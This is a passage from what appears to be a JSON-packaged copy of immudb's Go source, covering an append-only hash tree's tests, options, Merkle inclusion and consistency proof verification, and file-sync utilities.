tree.InclusionProof(uint64(i), uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\troot, _ := tree.RootAt(uint64(j))\n\n\t\t\th := sha256.Sum256([]byte{LeafPrefix, byte((i - 1) % ACount)})\n\n\t\t\tverifies := VerifyInclusion(proof, uint64(i), uint64(j), h, root)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestReset(t *testing.T) {\n\tpath := t.TempDir()\n\n\ttree, err := Open(path, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tN := 32\n\n\tfor i := 1; i <= N; i++ {\n\t\t_, _, err := tree.Append([]byte{byte(i)})\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = tree.ResetSize(0)\n\trequire.NoError(t, err)\n\trequire.Zero(t, tree.Size())\n\n\tN = 1024\n\n\tfor i := 1; i <= N; i++ {\n\t\t_, _, err := tree.Append([]byte{byte(i)})\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = tree.ResetSize(uint64(N + 1))\n\trequire.ErrorIs(t, err, ErrCannotResetToLargerSize)\n\n\terr = tree.ResetSize(uint64(N))\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(N), tree.Size())\n\n\tN = 512\n\n\terr = tree.ResetSize(uint64(N))\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(N), tree.Size())\n\n\tfor i := 1; i <= N; i++ {\n\t\tfor j := i; j <= N; j++ {\n\t\t\tiproof, err := tree.InclusionProof(uint64(i), uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tjroot, err := tree.RootAt(uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\th := sha256.Sum256([]byte{LeafPrefix, byte(i)})\n\n\t\t\tverifies := VerifyInclusion(iproof, uint64(i), uint64(j), h, jroot)\n\t\t\trequire.True(t, verifies)\n\n\t\t\tcproof, err := tree.ConsistencyProof(uint64(i), uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tiroot, err := tree.RootAt(uint64(i))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies = VerifyConsistency(cproof, uint64(i), uint64(j), iroot, jroot)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\tfor i := 1; i <= N; i++ {\n\t\tiproof, err := tree.InclusionProof(uint64(i), uint64(N))\n\t\trequire.NoError(t, err)\n\n\t\th := sha256.Sum256([]byte{LeafPrefix, byte(i)})\n\t\troot, err := tree.RootAt(uint64(i))\n\t\trequire.NoError(t, err)\n\n\t\tverifies := VerifyLastInclusion(iproof, uint64(i), h, root)\n\n\t\tif i < N {\n\t\t\trequire.False(t, verifies)\n\t\t} else {\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n\n\terr = tree.ResetSize(uint64(N))\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\ttree, err = Open(path, DefaultOptions().WithReadOnly(true))\n\trequire.NoError(t, err)\n\n\terr = tree.ResetSize(1)\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc appendableFromBuffer(sourceData []byte) *mocked.MockedAppendable {\n\n\tdata := make([]byte, len(sourceData))\n\tcopy(data, sourceData)\n\n\tcurrOffs := int64(len(data))\n\n\treturn &mocked.MockedAppendable{\n\t\tSizeFn:      func() (int64, error) { return int64(len(data)), nil },\n\t\tOffsetFn:    func() int64 { return currOffs },\n\t\tSetOffsetFn: func(off int64) error { currOffs = off; return nil },\n\t\tFlushFn:     func() error { return nil },\n\t\tSyncFn:      func() error { return nil },\n\t\tCloseFn:     func() error { return nil },\n\t\tAppendFn: func(bs []byte) (off int64, n int, err error) {\n\t\t\toff = currOffs\n\t\t\tn = len(bs)\n\t\t\tdata = append(data[:currOffs], bs...)\n\t\t\tcurrOffs += int64(n)\n\t\t\treturn off, n, nil\n\t\t},\n\t\tReadAtFn: func(bs []byte, off int64) (int, error) {\n\t\t\tif off > int64(len(data)) {\n\t\t\t\treturn 0, io.EOF\n\t\t\t}\n\t\t\tn := copy(bs, data[off:])\n\t\t\tif n < len(bs) {\n\t\t\t\treturn n, io.EOF\n\t\t\t}\n\t\t\treturn n, nil\n\t\t},\n\t}\n}\n\nfunc TestResetCornerCases(t *testing.T) {\n\n\tt.Run(\"should fail on cLog read error\", func(t *testing.T) {\n\t\tinjectedErr := errors.New(\"injected error\")\n\t\tpLog := appendableFromBuffer(nil)\n\t\tpLog.SizeFn = func() (int64, error) {\n\t\t\treturn 2 * szSize, nil\n\t\t}\n\t\tdLog := appendableFromBuffer(make([]byte, 3*sha256.Size))\n\t\tcLog := appendableFromBuffer(make([]byte, 12*2))\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tif off == 0 {\n\t\t\t\treturn 0, injectedErr\n\t\t\t}\n\t\t\treturn len(bs), nil\n\n\t\t}\n\t\ttree, err := OpenWith(pLog, dLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tree.ResetSize(1)\n\t\trequire.ErrorIs(t, err, injectedErr)\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail on getting pLogSize\", func(t *testing.T) {\n\t\tinjectedErr := errors.New(\"injected error\")\n\t\tpLog := appendableFromBuffer(nil)\n\t\tpLog.SizeFn = func() (int64, error) {\n\t\t\treturn 2 * szSize, nil\n\t\t}\n\t\tdLog := appendableFromBuffer(make([]byte, 3*sha256.Size))\n\t\tcLog := appendableFromBuffer(make([]byte, 12*2))\n\t\ttree, err := OpenWith(pLog, dLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\tpLog.SizeFn = func() (int64, error) { return 0, injectedErr }\n\n\t\terr = tree.ResetSize(1)\n\t\trequire.ErrorIs(t, err, injectedErr)\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail on corrupted older cLog entries\", func(t *testing.T) {\n\t\tpLog := appendableFromBuffer(nil)\n\t\tpLog.SizeFn = func() (int64, error) {\n\t\t\treturn szSize, nil\n\t\t}\n\t\tdLog := appendableFromBuffer(make([]byte, 3*sha256.Size))\n\t\tcLog := appendableFromBuffer([]byte{\n\t\t\t1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, // Corrupted entry, offset way outside pLog size\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // Correct entry to allow opening without an error\n\t\t})\n\t\ttree, err := OpenWith(pLog, dLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tree.ResetSize(1)\n\t\trequire.ErrorIs(t, err, ErrorCorruptedData)\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail on dLog size error\", func(t *testing.T) {\n\t\tinjectedErr := errors.New(\"injected error\")\n\t\tpLog := appendableFromBuffer(nil)\n\t\tpLog.SizeFn = func() (int64, error) {\n\t\t\treturn 2 * szSize, nil\n\t\t}\n\t\tdLog := appendableFromBuffer(make([]byte, 3*sha256.Size))\n\t\tcLog := appendableFromBuffer(make([]byte, 2*12))\n\t\ttree, err := OpenWith(pLog, dLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\tdLog.SizeFn = func() (int64, error) { return 0, injectedErr }\n\n\t\terr = tree.ResetSize(1)\n\t\trequire.ErrorIs(t, err, injectedErr)\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail on incorrect dlog size\", func(t *testing.T) {\n\t\tpLog := appendableFromBuffer(nil)\n\t\tpLog.SizeFn = func() (int64, error) {\n\t\t\treturn 2 * szSize, nil\n\t\t}\n\t\tdLog := appendableFromBuffer(make([]byte, 3*sha256.Size))\n\t\tcLog := appendableFromBuffer(make([]byte, 2*12))\n\t\ttree, err := OpenWith(pLog, dLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\tdLog.SizeFn = func() (int64, error) { return 0, nil }\n\n\t\terr = tree.ResetSize(1)\n\t\trequire.ErrorIs(t, err, ErrorCorruptedDigests)\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc BenchmarkAppend(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithWriteBufferSize(1 << 26). //64Mb\n\t\tWithRetryableSync(true).\n\t\tWithAutoSync(true).\n\t\tWithSyncThld(100_000).\n\t\tWithFileSize(1 << 29)\n\n\ttree, err := Open(b.TempDir(), opts)\n\trequire.NoError(b, err)\n\n\tvar bs [sha256.Size]byte\n\n\tfor i := 0; i < b.N; i++ {\n\t\tfor j := 0; j < 1_000_000; j++ {\n\t\t\t_, _, err := tree.Append(bs[:])\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n\n\ttree.Close()\n}\n\nfunc TestAppendAfterReopening(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithWriteBufferSize(1 << 26). //64Mb\n\t\tWithRetryableSync(true).\n\t\tWithAutoSync(true).\n\t\tWithSyncThld(2_000).\n\t\tWithFileSize(1 << 16).\n\t\tWithDigestsCacheSlots(2)\n\n\tpath := t.TempDir()\n\n\tfor i := 0; i < 10; i++ {\n\t\ttree, err := Open(path, opts)\n\t\trequire.NoError(t, err)\n\n\t\tvar bs [1]byte\n\n\t\tfor j := 0; j < 1025; j++ {\n\t\t\t_, _, err = tree.Append(bs[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttree.Close()\n\t}\n}\n"
  },
  {
    "path": "embedded/ahtree/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n)\n\nconst DefaultFileSize = multiapp.DefaultFileSize\nconst DefaultFileMode = os.FileMode(0755)\nconst DefaultDataCacheSlots = 1_000\nconst DefaultDigestsCacheSlots = 100_000\nconst DefaultCompressionFormat = appendable.DefaultCompressionFormat\nconst DefaultCompressionLevel = appendable.DefaultCompressionLevel\nconst DefaultSyncThld = 100_000\nconst DefaultWriteBufferSize = 1 << 24 //16Mb\n\ntype AppFactoryFunc func(\n\trootPath string,\n\tsubPath string,\n\topts *multiapp.Options,\n) (appendable.Appendable, error)\n\ntype Options struct {\n\treadOnly       bool\n\treadBufferSize int\n\n\twriteBufferSize int\n\tretryableSync   bool // if retryableSync is enabled, buffer space is released only after a successful sync\n\tautoSync        bool // if autoSync is enabled, sync is called when the buffer is full\n\tsyncThld        int  // sync after appending the specified amount of values\n\n\tfileMode os.FileMode\n\n\tappFactory AppFactoryFunc\n\n\tdataCacheSlots    int\n\tdigestsCacheSlots int\n\n\t// Options below are only set during initialization and stored as metadata\n\tfileSize          int\n\tcompressionFormat int\n\tcompressionLevel  int\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\treadOnly:       false,\n\t\treadBufferSize: multiapp.DefaultReadBufferSize,\n\n\t\twriteBufferSize: multiapp.DefaultWriteBufferSize,\n\t\tretryableSync:   true,\n\t\tautoSync:        true,\n\t\tsyncThld:        DefaultSyncThld,\n\n\t\tfileMode:          DefaultFileMode,\n\t\tdataCacheSlots:    DefaultDataCacheSlots,\n\t\tdigestsCacheSlots: DefaultDigestsCacheSlots,\n\n\t\t// Options below are only set during initialization and stored as metadata\n\t\tfileSize:          DefaultFileSize,\n\t\tcompressionFormat: DefaultCompressionFormat,\n\t\tcompressionLevel:  DefaultCompressionLevel,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.fileSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid fileSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.dataCacheSlots <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid dataCacheSlots\", ErrInvalidOptions)\n\t}\n\n\tif opts.digestsCacheSlots <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid digestsCacheSlots\", ErrInvalidOptions)\n\t}\n\n\tif opts.readBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid readBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif !opts.readOnly && opts.writeBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid writeBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif !opts.readOnly && opts.syncThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid syncThld\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithReadOnly(readOnly bool) *Options {\n\topts.readOnly = readOnly\n\treturn opts\n}\n\nfunc (opts *Options) WithReadBufferSize(size int) *Options {\n\topts.readBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithWriteBufferSize(size int) *Options {\n\topts.writeBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryableSync(retryableSync bool) *Options {\n\topts.retryableSync = retryableSync\n\treturn opts\n}\n\nfunc (opts *Options) WithAutoSync(autoSync bool) *Options {\n\topts.autoSync = autoSync\n\treturn opts\n}\n\nfunc (opts *Options) WithSyncThld(syncThld int) *Options {\n\topts.syncThld = syncThld\n\treturn opts\n}\n\nfunc (opts *Options) WithFileMode(fileMode os.FileMode) *Options {\n\topts.fileMode = fileMode\n\treturn opts\n}\n\nfunc (opts *Options) WithDataCacheSlots(cacheSlots int) *Options {\n\topts.dataCacheSlots = cacheSlots\n\treturn opts\n}\n\nfunc (opts *Options) WithDigestsCacheSlots(cacheSlots int) *Options {\n\topts.digestsCacheSlots = cacheSlots\n\treturn opts\n}\n\nfunc (opts *Options) WithFileSize(fileSize int) *Options {\n\topts.fileSize = fileSize\n\treturn opts\n}\n\nfunc (opts *Options) WithCompressionFormat(compressionFormat int) *Options {\n\topts.compressionFormat = compressionFormat\n\treturn opts\n}\n\nfunc (opts *Options) WithCompresionLevel(compressionLevel int) *Options {\n\topts.compressionLevel = compressionLevel\n\treturn opts\n}\n\nfunc (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options {\n\topts.appFactory = appFactory\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/ahtree/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *Options\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &Options{}},\n\t\t{\"FileSize\", DefaultOptions().WithFileSize(0)},\n\t\t{\"DataCacheSlots\", DefaultOptions().WithDataCacheSlots(0)},\n\t\t{\"DigestsCacheSlots\", DefaultOptions().WithDigestsCacheSlots(0)},\n\t\t{\"ReadBufferSize\", DefaultOptions().WithReadBufferSize(0)},\n\t\t{\"SyncThld\", DefaultOptions().WithReadOnly(false).WithSyncThld(0)},\n\t\t{\"WriteBufferSize\", DefaultOptions().WithReadOnly(false).WithWriteBufferSize(0)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.NoError(t, DefaultOptions().Validate())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := &Options{}\n\n\tdummyAppFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\treturn nil, nil\n\t}\n\n\trequire.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize)\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode)\n\trequire.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat)\n\trequire.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel)\n\trequire.Equal(t, DefaultDataCacheSlots, opts.WithDataCacheSlots(DefaultDataCacheSlots).dataCacheSlots)\n\trequire.Equal(t, DefaultDigestsCacheSlots, opts.WithDigestsCacheSlots(DefaultDigestsCacheSlots).digestsCacheSlots)\n\trequire.NotNil(t, opts.WithAppFactory(dummyAppFactory).appFactory)\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.Equal(t, multiapp.DefaultReadBufferSize, opts.WithReadBufferSize(multiapp.DefaultReadBufferSize).readBufferSize)\n\trequire.Equal(t, 0, opts.WithWriteBufferSize(0).writeBufferSize)\n\trequire.Equal(t, 0, opts.WithSyncThld(0).syncThld)\n\trequire.NoError(t, opts.Validate())\n\n\trequire.False(t, opts.WithReadOnly(false).readOnly)\n\trequire.Equal(t, multiapp.DefaultWriteBufferSize, opts.WithWriteBufferSize(multiapp.DefaultWriteBufferSize).writeBufferSize)\n\trequire.True(t, opts.WithRetryableSync(true).retryableSync)\n\trequire.True(t, opts.WithAutoSync(true).autoSync)\n\trequire.Equal(t, DefaultSyncThld, opts.WithSyncThld(DefaultSyncThld).syncThld)\n\trequire.NoError(t, opts.Validate())\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.NoError(t, opts.Validate())\n}\n"
  },
  {
    "path": "embedded/ahtree/verification.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport \"crypto/sha256\"\n\nfunc VerifyInclusion(iproof [][sha256.Size]byte, i, j uint64, iLeaf, jRoot [sha256.Size]byte) bool {\n\tif i > j || i == 0 || (i < j && len(iproof) == 0) {\n\t\treturn false\n\t}\n\n\tciRoot := EvalInclusion(iproof, i, j, iLeaf)\n\n\treturn jRoot == ciRoot\n}\n\nfunc EvalInclusion(iproof [][sha256.Size]byte, i, j uint64, iLeaf [sha256.Size]byte) [sha256.Size]byte {\n\ti1 := i - 1\n\tj1 := j - 1\n\n\tciRoot := iLeaf\n\n\tb := [1 + sha256.Size*2]byte{NodePrefix}\n\n\tfor _, h := range iproof {\n\n\t\tif i1%2 == 0 && i1 != j1 {\n\t\t\tcopy(b[1:], ciRoot[:])\n\t\t\tcopy(b[sha256.Size+1:], h[:])\n\t\t} else {\n\t\t\tcopy(b[1:], h[:])\n\t\t\tcopy(b[sha256.Size+1:], ciRoot[:])\n\t\t}\n\n\t\tciRoot = sha256.Sum256(b[:])\n\n\t\ti1 >>= 1\n\t\tj1 >>= 1\n\t}\n\n\treturn ciRoot\n}\n\nfunc VerifyConsistency(cproof [][sha256.Size]byte, i, j uint64, iRoot, jRoot [sha256.Size]byte) bool {\n\tif i > j || i == 0 || (i < j && len(cproof) == 0) {\n\t\treturn false\n\t}\n\n\tif i == j && len(cproof) == 0 {\n\t\treturn iRoot == jRoot\n\t}\n\n\tciRoot, cjRoot := EvalConsistency(cproof, i, j)\n\n\treturn iRoot == ciRoot && jRoot == cjRoot\n}\n\nfunc EvalConsistency(cproof [][sha256.Size]byte, i, j uint64) ([sha256.Size]byte, [sha256.Size]byte) {\n\tfn := i - 1\n\tsn := j - 1\n\n\tfor fn%2 == 1 {\n\t\tfn >>= 1\n\t\tsn >>= 1\n\t}\n\n\tciRoot, cjRoot := cproof[0], cproof[0]\n\n\tb := [1 + sha256.Size*2]byte{NodePrefix}\n\n\tfor _, h := range cproof[1:] {\n\t\tif fn%2 == 1 || fn == sn {\n\t\t\tcopy(b[1:], h[:])\n\n\t\t\tcopy(b[1+sha256.Size:], ciRoot[:])\n\t\t\tciRoot = sha256.Sum256(b[:])\n\n\t\t\tcopy(b[1+sha256.Size:], cjRoot[:])\n\t\t\tcjRoot = sha256.Sum256(b[:])\n\n\t\t\tfor fn%2 == 0 && fn != 0 {\n\t\t\t\tfn >>= 1\n\t\t\t\tsn >>= 1\n\t\t\t}\n\t\t} else {\n\t\t\tcopy(b[1:], cjRoot[:])\n\t\t\tcopy(b[1+sha256.Size:], h[:])\n\t\t\tcjRoot = sha256.Sum256(b[:])\n\t\t}\n\t\tfn >>= 1\n\t\tsn >>= 1\n\t}\n\n\treturn ciRoot, cjRoot\n}\n\nfunc VerifyLastInclusion(iproof [][sha256.Size]byte, i uint64, leaf, root [sha256.Size]byte) bool {\n\tif i == 0 {\n\t\treturn false\n\t}\n\n\treturn root == EvalLastInclusion(iproof, i, leaf)\n}\n\nfunc EvalLastInclusion(iproof [][sha256.Size]byte, i uint64, leaf [sha256.Size]byte) [sha256.Size]byte {\n\ti1 := i - 1\n\n\troot := leaf\n\n\tb := [1 + sha256.Size*2]byte{NodePrefix}\n\n\tfor _, h := range iproof {\n\n\t\tcopy(b[1:], h[:])\n\t\tcopy(b[sha256.Size+1:], root[:])\n\n\t\troot = sha256.Sum256(b[:])\n\n\t\ti1 >>= 1\n\t}\n\n\treturn root\n}\n"
  },
  {
    "path": "embedded/ahtree/verification_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport (\n\t\"crypto/sha256\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestVerificationEdgeCases(t *testing.T) {\n\trequire.False(t, VerifyInclusion(nil, 1, 10, sha256.Sum256(nil), sha256.Sum256(nil)))\n\trequire.False(t, VerifyInclusion(nil, 10, 1, sha256.Sum256(nil), sha256.Sum256(nil)))\n\n\trequire.False(t, VerifyConsistency(nil, 1, 10, sha256.Sum256(nil), sha256.Sum256(nil)))\n\trequire.False(t, VerifyConsistency(nil, 10, 1, sha256.Sum256(nil), sha256.Sum256(nil)))\n}\n"
  },
  {
    "path": "embedded/appendable/appendable.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage appendable\n\nimport (\n\t\"compress/flate\"\n\t\"crypto/sha256\"\n\t\"io\"\n)\n\nconst DefaultCompressionFormat = NoCompression\nconst DefaultCompressionLevel = BestSpeed\n\nconst (\n\tNoCompression = iota\n\tFlateCompression\n\tGZipCompression\n\tLZWCompression\n\tZLibCompression\n)\n\nconst (\n\tBestSpeed          = flate.BestSpeed\n\tBestCompression    = flate.BestCompression\n\tDefaultCompression = flate.DefaultCompression\n\tHuffmanOnly        = flate.HuffmanOnly\n)\n\ntype Appendable interface {\n\tMetadata() []byte\n\tSize() (int64, error)\n\tOffset() int64\n\tSetOffset(off int64) error\n\tDiscardUpto(off int64) error\n\tAppend(bs []byte) (off int64, n int, err error)\n\tFlush() error\n\tSync() error\n\tSwitchToReadOnlyMode() error\n\tReadAt(bs []byte, off int64) (int, error)\n\tClose() error\n\tCopy(dstPath string) error\n\tCompressionFormat() int\n\tCompressionLevel() int\n}\n\nfunc Checksum(rAt io.ReaderAt, off, n int64) (checksum [sha256.Size]byte, err error) {\n\th := sha256.New()\n\tr := io.NewSectionReader(rAt, off, n)\n\n\tc, err := io.Copy(h, r)\n\tif err != nil {\n\t\treturn\n\t}\n\tif c < n {\n\t\treturn checksum, io.EOF\n\t}\n\n\tcopy(checksum[:], h.Sum(nil))\n\n\treturn checksum, nil\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport \"os\"\n\nfunc SyncDir(paths ...string) error {\n\tfor _, path := range paths {\n\t\terr := syncDir(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc Fdatasync(f *os.File) error {\n\treturn fdatasync(f)\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils_darwin.go",
    "content": "//go:build darwin\n// +build darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport \"os\"\n\nfunc syncDir(path string) error {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\treturn f.Sync()\n}\n\nfunc fdatasync(f *os.File) error {\n\treturn f.Sync()\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils_freebsd.go",
    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport \"os\"\n\nfunc syncDir(path string) error {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\treturn f.Sync()\n}\n\nfunc fdatasync(f *os.File) error {\n\treturn f.Sync()\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils_linux.go",
    "content": "//go:build linux\n// +build linux\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport (\n\t\"golang.org/x/sys/unix\"\n\t\"os\"\n)\n\nfunc syncDir(path string) error {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\treturn f.Sync()\n}\n\nfunc fdatasync(f *os.File) error {\n\treturn unix.Fdatasync(int(f.Fd()))\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils_unix_nonlinux.go",
